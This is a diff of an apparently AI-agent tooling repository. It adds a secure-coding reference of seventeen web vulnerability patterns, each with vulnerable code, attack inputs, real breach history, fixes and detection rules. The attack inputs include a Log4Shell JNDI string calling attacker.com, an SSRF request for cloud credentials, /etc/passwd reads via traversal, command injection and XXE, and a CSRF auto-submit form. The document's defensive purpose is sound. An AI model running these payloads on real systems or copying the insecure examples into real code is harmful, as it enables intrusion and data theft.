  528. package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +26 -0
  529. package/skills/subagent-driven-development/implementer-prompt.md +102 -0
  530. package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
  531. package/skills/tdd/SKILL.md +23 -0
  532. package/skills/using-git-worktrees/SKILL.md +163 -0
  533. package/skills/using-skills/SKILL.md +95 -0
  534. package/skills/verification/SKILL.md +22 -0
  535. package/skills/wazir/SKILL.md +463 -0
  536. package/skills/writing-plans/SKILL.md +30 -0
  537. package/skills/writing-skills/SKILL.md +157 -0
  538. package/skills/writing-skills/anthropic-best-practices.md +122 -0
  539. package/skills/writing-skills/persuasion-principles.md +50 -0
  540. package/templates/README.md +20 -0
  541. package/templates/artifacts/README.md +10 -0
  542. package/templates/artifacts/accepted-learning.md +19 -0
  543. package/templates/artifacts/accepted-learning.template.json +12 -0
  544. package/templates/artifacts/author.md +74 -0
  545. package/templates/artifacts/author.template.json +19 -0
  546. package/templates/artifacts/clarification.md +21 -0
  547. package/templates/artifacts/clarification.template.json +12 -0
  548. package/templates/artifacts/execute-notes.md +19 -0
  549. package/templates/artifacts/implementation-plan.md +21 -0
  550. package/templates/artifacts/implementation-plan.template.json +11 -0
  551. package/templates/artifacts/learning-proposal.md +19 -0
  552. package/templates/artifacts/next-run-handoff.md +21 -0
  553. package/templates/artifacts/plan-review.md +19 -0
  554. package/templates/artifacts/proposed-learning.template.json +12 -0
  555. package/templates/artifacts/research.md +21 -0
  556. package/templates/artifacts/research.template.json +12 -0
  557. package/templates/artifacts/review-findings.md +19 -0
  558. package/templates/artifacts/review.template.json +11 -0
  559. package/templates/artifacts/run-manifest.template.json +8 -0
  560. package/templates/artifacts/spec-challenge.md +19 -0
  561. package/templates/artifacts/spec-challenge.template.json +11 -0
  562. package/templates/artifacts/spec.md +21 -0
  563. package/templates/artifacts/spec.template.json +12 -0
  564. package/templates/artifacts/verification-proof.md +19 -0
  565. package/templates/artifacts/verification-proof.template.json +11 -0
  566. package/templates/examples/accepted-learning.example.json +14 -0
  567. package/templates/examples/author.example.json +152 -0
  568. package/templates/examples/clarification.example.json +15 -0
  569. package/templates/examples/docs-claim.example.json +8 -0
  570. package/templates/examples/export-manifest.example.json +7 -0
  571. package/templates/examples/host-export-package.example.json +11 -0
  572. package/templates/examples/implementation-plan.example.json +17 -0
  573. package/templates/examples/proposed-learning.example.json +13 -0
  574. package/templates/examples/research.example.json +15 -0
  575. package/templates/examples/research.example.md +6 -0
  576. package/templates/examples/review.example.json +17 -0
  577. package/templates/examples/run-manifest.example.json +9 -0
  578. package/templates/examples/spec-challenge.example.json +14 -0
  579. package/templates/examples/spec.example.json +21 -0
  580. package/templates/examples/verification-proof.example.json +21 -0
  581. package/templates/examples/wazir-manifest.example.yaml +65 -0
  582. package/templates/task-definition-schema.md +99 -0
  583. package/tooling/README.md +20 -0
  584. package/tooling/src/adapters/context-mode.js +50 -0
  585. package/tooling/src/capture/command.js +376 -0
  586. package/tooling/src/capture/store.js +99 -0
  587. package/tooling/src/capture/usage.js +270 -0
  588. package/tooling/src/checks/branches.js +50 -0
  589. package/tooling/src/checks/brand-truth.js +110 -0
  590. package/tooling/src/checks/changelog.js +231 -0
  591. package/tooling/src/checks/command-registry.js +36 -0
  592. package/tooling/src/checks/commits.js +102 -0
  593. package/tooling/src/checks/docs-drift.js +103 -0
  594. package/tooling/src/checks/docs-truth.js +201 -0
  595. package/tooling/src/checks/runtime-surface.js +156 -0
  596. package/tooling/src/cli.js +116 -0
  597. package/tooling/src/command-options.js +56 -0
  598. package/tooling/src/commands/validate.js +320 -0
  599. package/tooling/src/doctor/command.js +91 -0
  600. package/tooling/src/export/command.js +77 -0
  601. package/tooling/src/export/compiler.js +498 -0
  602. package/tooling/src/guards/loop-cap-guard.js +52 -0
  603. package/tooling/src/guards/protected-path-write-guard.js +67 -0
  604. package/tooling/src/index/command.js +152 -0
  605. package/tooling/src/index/storage.js +1061 -0
  606. package/tooling/src/index/summarizers.js +261 -0
  607. package/tooling/src/loaders.js +18 -0
  608. package/tooling/src/project-root.js +22 -0
  609. package/tooling/src/recall/command.js +225 -0
  610. package/tooling/src/schema-validator.js +30 -0
  611. package/tooling/src/state-root.js +40 -0
  612. package/tooling/src/status/command.js +71 -0
  613. package/wazir.manifest.yaml +135 -0
  614. package/workflows/README.md +19 -0
  615. package/workflows/author.md +42 -0
  616. package/workflows/clarify.md +38 -0
  617. package/workflows/design-review.md +46 -0
  618. package/workflows/design.md +44 -0
  619. package/workflows/discover.md +37 -0
  620. package/workflows/execute.md +48 -0
  621. package/workflows/learn.md +38 -0
  622. package/workflows/plan-review.md +42 -0
  623. package/workflows/plan.md +39 -0
  624. package/workflows/prepare-next.md +37 -0
  625. package/workflows/review.md +40 -0
  626. package/workflows/run-audit.md +41 -0
  627. package/workflows/spec-challenge.md +41 -0
  628. package/workflows/specify.md +38 -0
  629. package/workflows/verify.md +37 -0
@@ -0,0 +1,801 @@
1
+ # Vulnerability Patterns
2
+
3
+ > **Domain:** Security
4
+ > **Severity:** Critical -- web application vulnerabilities account for 26% of all breaches (Verizon DBIR 2024).
5
+ > **Last updated:** 2026-03-08
6
+ > **Applies to:** All web applications, APIs, backend services, and cloud-native workloads.
7
+
8
+ ---
9
+
10
+ ## Why This Matters
11
+
12
+ The same vulnerability patterns keep recurring in production. The Equifax breach (CVE-2017-5638)
13
+ exposed 147 million records through an unpatched Struts flaw. Log4Shell (CVE-2021-44228)
14
+ gave attackers RCE on 93% of cloud enterprise environments. Capital One lost 106 million
15
+ customer records to a single SSRF. These are not exotic zero-days -- they are well-documented
16
+ patterns developers introduce through string concatenation, trusting user input, skipping
17
+ authorization checks, and deserializing untrusted data.
18
+
19
+ ---
20
+
21
+ ## VP-01: SQL Injection (Classic / Blind / Second-Order)
22
+
23
+ **Also known as:** SQLi, CWE-89, OWASP A03:2021. CVEs: CVE-2019-9193, CVE-2024-27198 (TeamCity).
24
+
25
+ | Frequency | Severity | Detection difficulty |
26
+ |---|---|---|
27
+ | Very High | Critical | Low (classic), Medium (blind), High (second-order) |
28
+
29
+ **What it looks like:**
30
+ ```python
31
+ query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
32
+ cursor.execute(query)
33
+ # Second-order: user registers as "admin'--"; stored payload triggers in a later admin query
34
+ ```
35
+
36
+ **Why developers do it:** String interpolation is the most natural way to build dynamic
37
+ queries. ORMs feel heavyweight for simple lookups.
38
+
39
+ **What goes wrong:** Heartland Payment Systems (2008) lost 130 million credit cards via SQLi.
40
+ CVE-2024-27198 in JetBrains TeamCity allowed unauthenticated SQLi leading to full server
41
+ compromise, actively exploited in the wild.
42
+
43
+ **The fix:**
44
+ ```python
45
+ cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, hashed))
46
+ ```
47
+
48
+ **Detection rule:** Flag string concatenation or f-strings containing SQL keywords with
49
+ variable interpolation. Semgrep: `pattern: f"...SELECT...{$VAR}..."`.
50
+
51
+ ---
52
+
53
+ ## VP-02: Cross-Site Scripting -- Stored (Persistent XSS)
54
+
55
+ **Also known as:** XSS Type II, CWE-79, OWASP A03:2021. CVEs: CVE-2023-29489 (cPanel),
56
+ CVE-2024-21726 (Joomla).
57
+
58
+ | Frequency | Severity | Detection difficulty |
59
+ |---|---|---|
60
+ | Very High | High | Medium |
61
+
62
+ **What it looks like:**
63
+ ```javascript
64
+ app.post('/comment', (req, res) => {
65
+ db.comments.insert({ body: req.body.comment }); // no sanitization
66
+ });
67
+ app.get('/post/:id', (req, res) => {
68
+ const comments = db.comments.find({ postId: req.params.id });
69
+ res.send(`<div>${comments.map(c => c.body).join('')}</div>`); // raw HTML output
70
+ });
71
+ ```
72
+
73
+ **Why developers do it:** Rendering user content feels straightforward. Auto-escaping gets
74
+ bypassed via `| safe` or `dangerouslySetInnerHTML`.
75
+
76
+ **What goes wrong:** The 2018 British Airways breach used stored XSS in a compromised
77
+ third-party script to skim 380,000 payment cards (ICO fined BA 20M GBP). The Samy worm
78
+ (2005) infected 1 million MySpace profiles in 20 hours via stored XSS.
79
+
80
+ **The fix:**
81
+ ```javascript
82
+ import DOMPurify from 'dompurify';
83
+ const safe = comments.map(c => DOMPurify.sanitize(c.body)).join('');
84
+ // Also set: Content-Security-Policy: script-src 'self'
85
+ ```
86
+
87
+ **Detection rule:** Grep for `innerHTML`, `dangerouslySetInnerHTML`, `| safe`, `{!! !!}`,
88
+ `<%- %>` (EJS unescaped) outputting user-controlled data.
89
+
90
+ ---
91
+
92
+ ## VP-03: Cross-Site Scripting -- Reflected and DOM-Based
93
+
94
+ **Also known as:** XSS Type I / Type 0, CWE-79. CVEs: CVE-2021-41184 (jQuery UI),
95
+ CVE-2023-46747 (F5 BIG-IP, CVSS 9.8).
96
+
97
+ | Frequency | Severity | Detection difficulty |
98
+ |---|---|---|
99
+ | Very High | Medium-High | Low (reflected), Medium (DOM) |
100
+
101
+ **What it looks like:**
102
+ ```javascript
103
+ // Reflected: server echoes input
104
+ app.get('/search', (req, res) => { res.send(`<h1>Results for: ${req.query.q}</h1>`); });
105
+
106
+ // DOM-based: client reads from location
107
+ document.getElementById('output').innerHTML = new URLSearchParams(location.search).get('q');
108
+ ```
109
+
110
+ **Why developers do it:** Echoing search terms seems harmless. `innerHTML` is faster than
111
+ creating DOM nodes programmatically.
112
+
113
+ **What goes wrong:** CVE-2023-46747 in F5 BIG-IP allowed unauthenticated RCE via a reflected
114
+ XSS chain that bypassed authentication entirely.
115
+
116
+ **The fix:**
117
+ ```javascript
118
+ // Reflected: use auto-escaping template engine
119
+ res.render('search', { query: req.query.q });
120
+ // DOM: use textContent instead of innerHTML
121
+ document.getElementById('output').textContent = query;
122
+ ```
123
+
124
+ **Detection rule:** Grep for `innerHTML`, `outerHTML`, `document.write`, `eval(` combined
125
+ with URL/location sources. Semgrep: `pattern: document.$EL.innerHTML = $SOURCE`.
126
+
127
+ ---
128
+
129
+ ## VP-04: Cross-Site Request Forgery (CSRF)
130
+
131
+ **Also known as:** XSRF, Session Riding, CWE-352, OWASP A01:2021. CVEs: CVE-2024-4439
132
+ (WordPress), CVE-2023-28370 (Tornado).
133
+
134
+ | Frequency | Severity | Detection difficulty |
135
+ |---|---|---|
136
+ | High | High | Low |
137
+
138
+ **What it looks like:**
139
+ ```html
140
+ <form action="https://bank.com/transfer" method="POST" id="csrf">
141
+ <input type="hidden" name="to" value="attacker" />
142
+ <input type="hidden" name="amount" value="10000" />
143
+ </form>
144
+ <script>document.getElementById('csrf').submit();</script>
145
+ ```
146
+
147
+ **Why developers do it:** Session cookies are sent automatically; developers assume
148
+ authenticated requests are intentional.
149
+
150
+ **What goes wrong:** In 2006, Netflix was vulnerable to CSRF allowing attackers to change
151
+ shipping addresses and login credentials. In 2008, ING Direct had CSRF allowing attackers
152
+ to open accounts and transfer funds from authenticated users, even over SSL.
153
+
154
+ **The fix:**
155
+ ```python
156
+ from flask_wtf.csrf import CSRFProtect
157
+ csrf = CSRFProtect(app)
158
+ # For APIs: SameSite=Strict cookies + custom header validation
159
+ response.set_cookie('session', value=token, samesite='Strict', httponly=True)
160
+ ```
161
+
162
+ **Detection rule:** Flag state-changing endpoints (POST/PUT/DELETE) without CSRF token
163
+ validation. Check for `SameSite=None` on session cookies.
164
+
165
+ ---
166
+
167
+ ## VP-05: Server-Side Request Forgery (SSRF)
168
+
169
+ **Also known as:** CWE-918, OWASP A10:2021. CVEs: CVE-2021-26855 (Exchange ProxyLogon),
170
+ CVE-2024-21893 (Ivanti).
171
+
172
+ | Frequency | Severity | Detection difficulty |
173
+ |---|---|---|
174
+ | High | Critical | Medium |
175
+
176
+ **What it looks like:**
177
+ ```python
178
+ @app.route('/fetch')
179
+ def fetch_url():
180
+ url = request.args.get('url')
181
+ return requests.get(url).text # no validation
182
+ # Attacker: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
183
+ ```
184
+
185
+ **Why developers do it:** Webhooks, URL previews, and PDF generators require server-side
186
+ fetches. Developers validate the scheme but forget internal IP ranges and metadata endpoints.
187
+
188
+ **What goes wrong:** The **Capital One breach (2019)** is the canonical SSRF case. An attacker
189
+ exploited a misconfigured WAF on EC2 to SSRF the AWS metadata service (169.254.169.254),
190
+ retrieving IAM credentials for `ISRM-WAF-Role` which granted S3 access to 106 million
191
+ customer records. AWS subsequently released IMDSv2 requiring session tokens. CVE-2021-26855
192
+ (ProxyLogon) in Exchange used SSRF to bypass auth, exploited by Hafnium APT.
193
+
194
+ **The fix:**
195
+ ```python
196
+ import ipaddress
197
+ from urllib.parse import urlparse
198
+
199
+ BLOCKED = [ipaddress.ip_network(n) for n in
200
+ ['169.254.0.0/16','10.0.0.0/8','172.16.0.0/12','192.168.0.0/16','127.0.0.0/8']]
201
+
202
+ def is_safe_url(url):
203
+ parsed = urlparse(url)
204
+ if parsed.scheme not in ('http','https'): return False
205
+ ip = ipaddress.ip_address(parsed.hostname)
206
+ return not any(ip in net for net in BLOCKED)
207
+ ```
208
+
209
+ **Detection rule:** Flag `requests.get()`, `urllib.urlopen()`, `fetch()`, `HttpClient`
210
+ where URL originates from user input without allowlist validation.
211
+
212
+ ---
213
+
214
+ ## VP-06: Insecure Deserialization
215
+
216
+ **Also known as:** CWE-502, OWASP A08:2021. CVEs: CVE-2015-4852 (WebLogic), CVE-2017-5638
217
+ (Struts), CVE-2017-9805 (Struts XStream).
218
+
219
+ | Frequency | Severity | Detection difficulty |
220
+ |---|---|---|
221
+ | Medium | Critical | High |
222
+
223
+ **What it looks like:**
224
+ ```python
225
+ data = base64.b64decode(request.cookies.get('session'))
226
+ return pickle.loads(data) # arbitrary code execution
227
+ ```
228
+ ```java
229
+ ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
230
+ Object obj = ois.readObject(); // gadget chain -> RCE
231
+ ```
232
+
233
+ **Why developers do it:** Language-native serialization (pickle, Java ObjectInputStream, PHP
234
+ unserialize) is convenient. Developers assume cookies and internal APIs carry trusted data.
235
+
236
+ **What goes wrong:** CVE-2015-4852 in WebLogic used Java deserialization via T3 for
237
+ unauthenticated RCE, widely exploited for ransomware. CVE-2017-5638 (Struts/OGNL injection)
238
+ enabled the **Equifax breach (2017)**: attackers exploited it for 78 days, stealing SSNs and
239
+ addresses of 147 million Americans. A patch had been available for two months. Settlement
240
+ cost: $1.38 billion.
241
+
242
+ **The fix:**
243
+ ```python
244
+ return json.loads(data) # no code execution possible
245
+ # Java: use JEP 290 deserialization filters with allowlists
246
+ ```
247
+
248
+ **Detection rule:** Flag `pickle.loads`, `yaml.load` (no SafeLoader), `unserialize()`,
249
+ `readObject()`, `Marshal.load` on user-controlled data.
250
+
251
+ ---
252
+
253
+ ## VP-07: Path Traversal
254
+
255
+ **Also known as:** Directory Traversal, CWE-22, OWASP A01:2021. CVEs: CVE-2021-41773
256
+ (Apache httpd), CVE-2023-34362 (MOVEit).
257
+
258
+ | Frequency | Severity | Detection difficulty |
259
+ |---|---|---|
260
+ | High | High | Low |
261
+
262
+ **What it looks like:**
263
+ ```python
264
+ @app.route('/download')
265
+ def download():
266
+ return send_file(f'/var/www/uploads/{request.args.get("file")}')
267
+ # Attacker: /download?file=../../../etc/passwd
268
+ ```
269
+
270
+ **Why developers do it:** Serving files by name is intuitive. Developers trust the base path
271
+ prefix without realizing `../` and URL-encoded variants (`%2e%2e%2f`) escape it.
272
+
273
+ **What goes wrong:** CVE-2021-41773 in Apache 2.4.49 allowed path traversal via URL-encoded
274
+ dots leading to file disclosure and RCE -- mass exploitation within hours. CVE-2023-34362 in
275
+ MOVEit Transfer combined path traversal with SQLi; Cl0p ransomware gang exploited it at scale.
276
+
277
+ **The fix:**
278
+ ```python
279
+ filepath = os.path.realpath(os.path.join(base, filename))
280
+ if not filepath.startswith(base): abort(403)
281
+ return send_file(filepath)
282
+ ```
283
+
284
+ **Detection rule:** Flag file operations (`open`, `send_file`, `readFile`, `include`) where
285
+ path includes user input without `realpath()` canonicalization and prefix validation.
286
+
287
+ ---
288
+
289
+ ## VP-08: Command Injection
290
+
291
+ **Also known as:** OS Command Injection, CWE-78, OWASP A03:2021. CVEs: CVE-2024-3400
292
+ (PAN-OS, CVSS 10.0), CVE-2021-22205 (GitLab).
293
+
294
+ | Frequency | Severity | Detection difficulty |
295
+ |---|---|---|
296
+ | Medium | Critical | Medium |
297
+
298
+ **What it looks like:**
299
+ ```python
300
+ result = os.popen(f'ping -c 4 {request.args.get("host")}').read()
301
+ # Attacker: /ping?host=8.8.8.8;cat /etc/passwd
302
+ ```
303
+
304
+ **Why developers do it:** Shell commands are powerful one-liners. Developers reach for
305
+ `os.system()` when no library equivalent is obvious.
306
+
307
+ **What goes wrong:** CVE-2024-3400 in Palo Alto PAN-OS (CVSS 10.0) allowed unauthenticated
308
+ command injection via GlobalProtect, exploited as a zero-day to deploy backdoors.
309
+ CVE-2021-22205 in GitLab allowed RCE via ExifTool command injection in image uploads.
310
+
311
+ **The fix:**
312
+ ```python
313
+ result = subprocess.run(['ping', '-c', '4', host], capture_output=True, text=True, shell=False)
314
+ ```
315
+
316
+ **Detection rule:** Flag `os.system()`, `os.popen()`, `shell=True`, `exec()`, backticks,
317
+ `child_process.exec()` where arguments include user input.
318
+
319
+ ---
320
+
321
+ ## VP-09: XML External Entity (XXE) Injection
322
+
323
+ **Also known as:** CWE-611, OWASP A05:2021. CVEs: CVE-2014-3529 (Apache POI),
324
+ CVE-2014-3574 (Billion Laughs), CVE-2021-29441 (Nacos).
325
+
326
+ | Frequency | Severity | Detection difficulty |
327
+ |---|---|---|
328
+ | Medium | High | Medium |
329
+
330
+ **What it looks like:**
331
+ ```xml
332
+ <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
333
+ <user><name>&xxe;</name></user>
334
+ ```
335
+
336
+ **Why developers do it:** XML parsers enable external entities by default in many languages.
337
+ DOCX, SVG, and SAML responses are all XML documents that get parsed without secure
338
+ configuration.
339
+
340
+ **What goes wrong:** CVE-2014-3529 in Apache POI allowed XXE via crafted Office files,
341
+ enabling arbitrary file reads on any server processing uploads. Facebook's bug bounty paid
342
+ out for XXE in their careers portal that read internal server files. SAML-based SSO is a
343
+ frequent target because SAML responses are XML parsed by service providers.
344
+
345
+ **The fix:**
346
+ ```python
347
+ parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
348
+ tree = etree.parse(request.stream, parser)
349
+ ```
350
+
351
+ **Detection rule:** Flag XML parser instantiation without entity/DTD disabling. Grep for
352
+ `etree.parse`, `DocumentBuilderFactory`, `SAXParser` without `disallow-doctype-decl`.
353
+
354
+ ---
355
+
356
+ ## VP-10: Prototype Pollution
357
+
358
+ **Also known as:** CWE-1321, OWASP A08:2021. CVEs: CVE-2023-36665 (protobuf.js),
359
+ CVE-2024-21529 (dset), CVE-2024-21505 (web3-utils).
360
+
361
+ | Frequency | Severity | Detection difficulty |
362
+ |---|---|---|
363
+ | Medium-High | High | High |
364
+
365
+ **What it looks like:**
366
+ ```javascript
367
+ function merge(target, source) {
368
+ for (const key in source) {
369
+ if (typeof source[key] === 'object') target[key] = merge(target[key] || {}, source[key]);
370
+ else target[key] = source[key];
371
+ }
372
+ return target;
373
+ }
374
+ // Attacker sends: {"__proto__": {"isAdmin": true}}
375
+ merge({}, JSON.parse(userInput));
376
+ // Now ({}).isAdmin === true for every object
377
+ ```
378
+
379
+ **Why developers do it:** Deep merge is fundamental to config handling. Lodash `_.merge`,
380
+ jQuery `$.extend`, and custom merges do not filter `__proto__` by default.
381
+
382
+ **What goes wrong:** CVE-2023-36665 in protobuf.js enabled RCE/DoS via prototype pollution.
383
+ CVE-2024-21505 affected blockchain apps via `mergeDeep`. In 2023, researchers demonstrated
384
+ full RCE chains via prototype pollution in Express/EJS applications by polluting `child_process`
385
+ properties.
386
+
387
+ **The fix:**
388
+ ```javascript
389
+ function safeMerge(target, source) {
390
+ for (const key of Object.keys(source)) {
391
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
392
+ if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key]))
393
+ target[key] = safeMerge(target[key] || {}, source[key]);
394
+ else target[key] = source[key];
395
+ }
396
+ return target;
397
+ }
398
+ // Or: use Object.create(null) or Map for dynamic keys
399
+ ```
400
+
401
+ **Detection rule:** Flag `for...in` on user objects without `hasOwnProperty`. Flag recursive
402
+ merge functions missing `__proto__`/`constructor` filtering.
403
+
404
+ ---
405
+
406
+ ## VP-11: Mass Assignment
407
+
408
+ **Also known as:** Auto-binding, CWE-915, OWASP A08:2021.
409
+
410
+ | Frequency | Severity | Detection difficulty |
411
+ |---|---|---|
412
+ | High | High | Medium |
413
+
414
+ **What it looks like:**
415
+ ```python
416
+ for key, value in request.data.items():
417
+ setattr(user, key, value) # attacker sends {"is_staff": true}
418
+ user.save()
419
+ ```
420
+
421
+ **Why developers do it:** One-line model updates from form data. Developers assume the
422
+ frontend only sends expected fields.
423
+
424
+ **What goes wrong:** In 2012, Egor Homakov exploited mass assignment in **GitHub itself**. By
425
+ submitting a crafted public_key attribute pointing to a Rails core member's account, he gained
426
+ commit access to the Ruby on Rails repository. This incident led directly to Rails adding
427
+ strong parameters in Rails 4.
428
+
429
+ **The fix:**
430
+ ```python
431
+ ALLOWED = {'display_name', 'email', 'bio'}
432
+ for key, value in request.data.items():
433
+ if key in ALLOWED: setattr(user, key, value)
434
+ ```
435
+
436
+ **Detection rule:** Flag iteration over request data setting model attributes without an
437
+ explicit allowlist. Grep for `setattr(model, key, ...)`, `Object.assign(model, req.body)`.
438
+
439
+ ---
440
+
441
+ ## VP-12: Open Redirects
442
+
443
+ **Also known as:** CWE-601, OWASP A01:2021. CVEs: CVE-2024-29041 (Express.js),
444
+ CVE-2024-5492 (NetScaler).
445
+
446
+ | Frequency | Severity | Detection difficulty |
447
+ |---|---|---|
448
+ | High | Medium | Low |
449
+
450
+ **What it looks like:**
451
+ ```python
452
+ @app.route('/login')
453
+ def login():
454
+ return redirect(request.args.get('next')) # no validation
455
+ # Attacker: /login?next=https://evil.com/phishing
456
+ ```
457
+
458
+ **Why developers do it:** Post-login redirects are legitimate UX. URL tricks
459
+ (`//evil.com`, `https://evil.com%40legit.com`) bypass naive checks.
460
+
461
+ **What goes wrong:** CVE-2024-29041 in Express.js allowed URL encoding to bypass allowlists.
462
+ Open redirects are critical in OAuth phishing chains: attackers steal authorization codes by
463
+ redirecting callbacks through a legitimate-looking domain.
464
+
465
+ **The fix:**
466
+ ```python
467
+ parsed = urlparse(next_url)
468
+ if parsed.netloc and parsed.netloc not in ALLOWED_HOSTS: next_url = '/'
469
+ return redirect(next_url)
470
+ ```
471
+
472
+ **Detection rule:** Flag `redirect()`, `res.redirect()`, `Location:` header where target
473
+ includes user input without domain allowlist.
474
+
475
+ ---
476
+
477
+ ## VP-13: Insecure Direct Object Reference (IDOR)
478
+
479
+ **Also known as:** BOLA, CWE-639, OWASP A01:2021 / API #1.
480
+
481
+ | Frequency | Severity | Detection difficulty |
482
+ |---|---|---|
483
+ | Very High | High | Medium |
484
+
485
+ **What it looks like:**
486
+ ```python
487
+ @app.route('/api/invoices/<int:invoice_id>')
488
+ def get_invoice(invoice_id):
489
+ return jsonify(db.invoices.find_one({'id': invoice_id})) # no ownership check
490
+ ```
491
+
492
+ **Why developers do it:** Database PKs as API identifiers is simplest. Developers confuse
493
+ authentication (who you are) with authorization (what you can access).
494
+
495
+ **What goes wrong:** In 2021, Parler's sequential post IDs without authorization enabled
496
+ scraping of terabytes of data including GPS metadata and deleted posts. In 2020, IDOR was
497
+ found in a U.S. Department of Defense website, reported via their Vulnerability Disclosure
498
+ Program. IDOR is rated #1 API security risk by OWASP API Top 10.
499
+
500
+ **The fix:**
501
+ ```python
502
+ invoice = db.invoices.find_one({'id': invoice_id, 'owner_id': current_user.id})
503
+ if not invoice: abort(404) # 404, not 403 -- don't reveal existence
504
+ ```
505
+
506
+ **Detection rule:** Flag data queries using user-supplied IDs without ownership/role
507
+ filtering. Check for sequential integer IDs in API routes.
508
+
509
+ ---
510
+
511
+ ## VP-14: Server-Side Template Injection (SSTI)
512
+
513
+ **Also known as:** CWE-1336, OWASP A03:2021. CVEs: CVE-2022-22954 (VMware),
514
+ CVE-2023-46604 (ActiveMQ, CVSS 10.0).
515
+
516
+ | Frequency | Severity | Detection difficulty |
517
+ |---|---|---|
518
+ | Medium | Critical | Medium |
519
+
520
+ **What it looks like:**
521
+ ```python
522
+ template = f"<h1>Hello {request.args.get('name')}!</h1>"
523
+ return render_template_string(template)
524
+ # Attacker: /greet?name={{config.items()}} -> escalates to RCE via __subclasses__
525
+ ```
526
+
527
+ **Why developers do it:** Dynamic template generation seems flexible. Developers confuse
528
+ template rendering (safe, with context variables) with template compilation (unsafe, with
529
+ user-controlled strings).
530
+
531
+ **What goes wrong:** In 2016, researchers Orange Tsai and James Kettle found SSTI in **Uber**:
532
+ injecting `{{7*7}}` into profile fields produced `49` in emails, proving template execution.
533
+ CVE-2022-22954 in VMware Workspace ONE allowed SSTI-to-RCE, exploited by APT groups.
534
+
535
+ **The fix:**
536
+ ```python
537
+ return render_template_string("<h1>Hello {{ name }}!</h1>", name=name)
538
+ # Never pass user input as template source. Use logic-less engines (Mustache) for user templates.
539
+ ```
540
+
541
+ **Detection rule:** Flag `render_template_string()`, `Template()`, `new Function()` where
542
+ the template string includes user input.
543
+
544
+ ---
545
+
546
+ ## VP-15: Race Conditions in Security Checks
547
+
548
+ **Also known as:** TOCTOU, CWE-367/CWE-362. CVEs: CVE-2024-30088 (Windows Kernel),
549
+ CVE-2024-50379 (Tomcat), CVE-2024-23651 (Docker BuildKit).
550
+
551
+ | Frequency | Severity | Detection difficulty |
552
+ |---|---|---|
553
+ | Medium | High | Very High |
554
+
555
+ **What it looks like:**
556
+ ```python
557
+ coupon = db.coupons.find_one({'code': code})
558
+ if coupon and coupon['remaining'] > 0: # CHECK
559
+ apply_discount(current_user, coupon)
560
+ coupon['remaining'] -= 1 # USE -- race window between check and use
561
+ db.coupons.save(coupon)
562
+ ```
563
+
564
+ **Why developers do it:** Sequential check-then-act is natural. Developers test with single
565
+ requests and never observe concurrent behavior.
566
+
567
+ **What goes wrong:** CVE-2024-30088 in Windows Kernel: TOCTOU exploited by APT34 for
568
+ privilege escalation in government attacks. CVE-2024-50379 in Apache Tomcat: race in JSP
569
+ compilation led to RCE (50+ public PoCs). CVE-2024-23651 in Docker BuildKit: mount cache
570
+ race enabled container breakout.
571
+
572
+ **The fix:**
573
+ ```python
574
+ result = db.coupons.update_one(
575
+ {'code': code, 'remaining': {'$gt': 0}}, # atomic check+use
576
+ {'$inc': {'remaining': -1}}
577
+ )
578
+ if result.modified_count > 0: apply_discount(current_user, code)
579
+ ```
580
+
581
+ **Detection rule:** Flag check-then-act patterns where a security check (`if balance >`,
582
+ `if os.access`) is separated from the action without a lock or atomic operation.
583
+
584
+ ---
585
+
586
+ ## VP-16: Regular Expression Denial of Service (ReDoS)
587
+
588
+ **Also known as:** Catastrophic Backtracking, CWE-1333. CVEs: CVE-2024-21538 (cross-spawn),
589
+ CVE-2022-24999 (qs).
590
+
591
+ | Frequency | Severity | Detection difficulty |
592
+ |---|---|---|
593
+ | Medium | Medium-High | Medium |
594
+
595
+ **What it looks like:**
596
+ ```javascript
597
+ const emailRegex = /^([a-zA-Z0-9]+)*@[a-zA-Z0-9]+\.[a-zA-Z]+$/;
598
+ emailRegex.test("aaaaaaaaaaaaaaaaaaaaaaaaaaa!"); // hangs -- 2^27 backtracking steps
599
+ ```
600
+
601
+ **Why developers do it:** Developers write regexes by intuition. Nested quantifiers
602
+ (`(a+)+`, `(.*a){n}`) look correct but create exponential backtracking on non-matching input.
603
+
604
+ **What goes wrong:** On July 2, 2019, **Cloudflare** deployed a WAF regex rule with
605
+ catastrophic backtracking. It exhausted CPU on every core handling HTTP worldwide, taking
606
+ Cloudflare offline for 27 minutes affecting millions of sites. Cloudflare rewrote their WAF
607
+ in Rust's non-backtracking regex engine. CVE-2024-21538 in cross-spawn (200M+ weekly
608
+ downloads) contained ReDoS in argument parsing.
609
+
610
+ **The fix:**
611
+ ```javascript
612
+ const RE2 = require('re2'); // non-backtracking engine
613
+ const emailRegex = new RE2('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$');
614
+ // Or: limit input length, use purpose-built validators (validator.isEmail)
615
+ ```
616
+
617
+ **Detection rule:** Static analysis for nested quantifiers: `(.+)+`, `(.*)*`, `(a|a)*`.
618
+ Use `safe-regex` or `vuln-regex-detector`. Set regex execution timeouts.
619
+
620
+ ---
621
+
622
+ ## VP-17: Log Injection / Log4Shell
623
+
624
+ **Also known as:** CWE-117 (Log Injection), CWE-917 (JNDI). CVEs: CVE-2021-44228 (Log4Shell),
625
+ CVE-2021-45046, CVE-2021-45105, CVE-2021-44832.
626
+
627
+ | Frequency | Severity | Detection difficulty |
628
+ |---|---|---|
629
+ | High (log injection) / Medium (JNDI) | Critical (Log4Shell) / Medium (log injection) | Low / High |
630
+
631
+ **What it looks like:**
632
+ ```java
633
+ // Log4Shell: JNDI lookup in logged strings
634
+ logger.info("User-Agent: " + request.getHeader("User-Agent"));
635
+ // Attacker sends header: ${jndi:ldap://attacker.com/exploit}
636
+ // Log4j resolves JNDI -> connects to attacker LDAP -> downloads and executes class
637
+ ```
638
+ ```python
639
+ # Plain log injection: forging log entries
640
+ logger.info(f"Login attempt for user: {username}")
641
+ # Attacker sends: "admin\n2026-03-08 INFO Login successful for user: admin"
642
+ ```
643
+
644
+ **Why developers do it:** Logging user input is best practice for auditing. Developers assume
645
